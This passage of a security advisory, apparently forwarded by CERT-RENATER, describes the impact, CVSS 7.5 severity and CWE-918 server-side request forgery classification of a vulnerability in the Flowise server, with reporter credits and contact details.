    Who is impacted? Any user running Flowise server exposed to
external traffic.
    Risk: Attackers can leverage the Flowise server to:
        Explore internal web applications
        Bypass firewall rules
        Access sensitive administrative interfaces
        Leak internal configuration, credentials, or secrets

This vulnerability significantly increases the risk of
internal service enumeration and potential lateral movement in an
enterprise environment.


Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-918

Credits

    @im-soohyun im-soohyun Reporter



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================
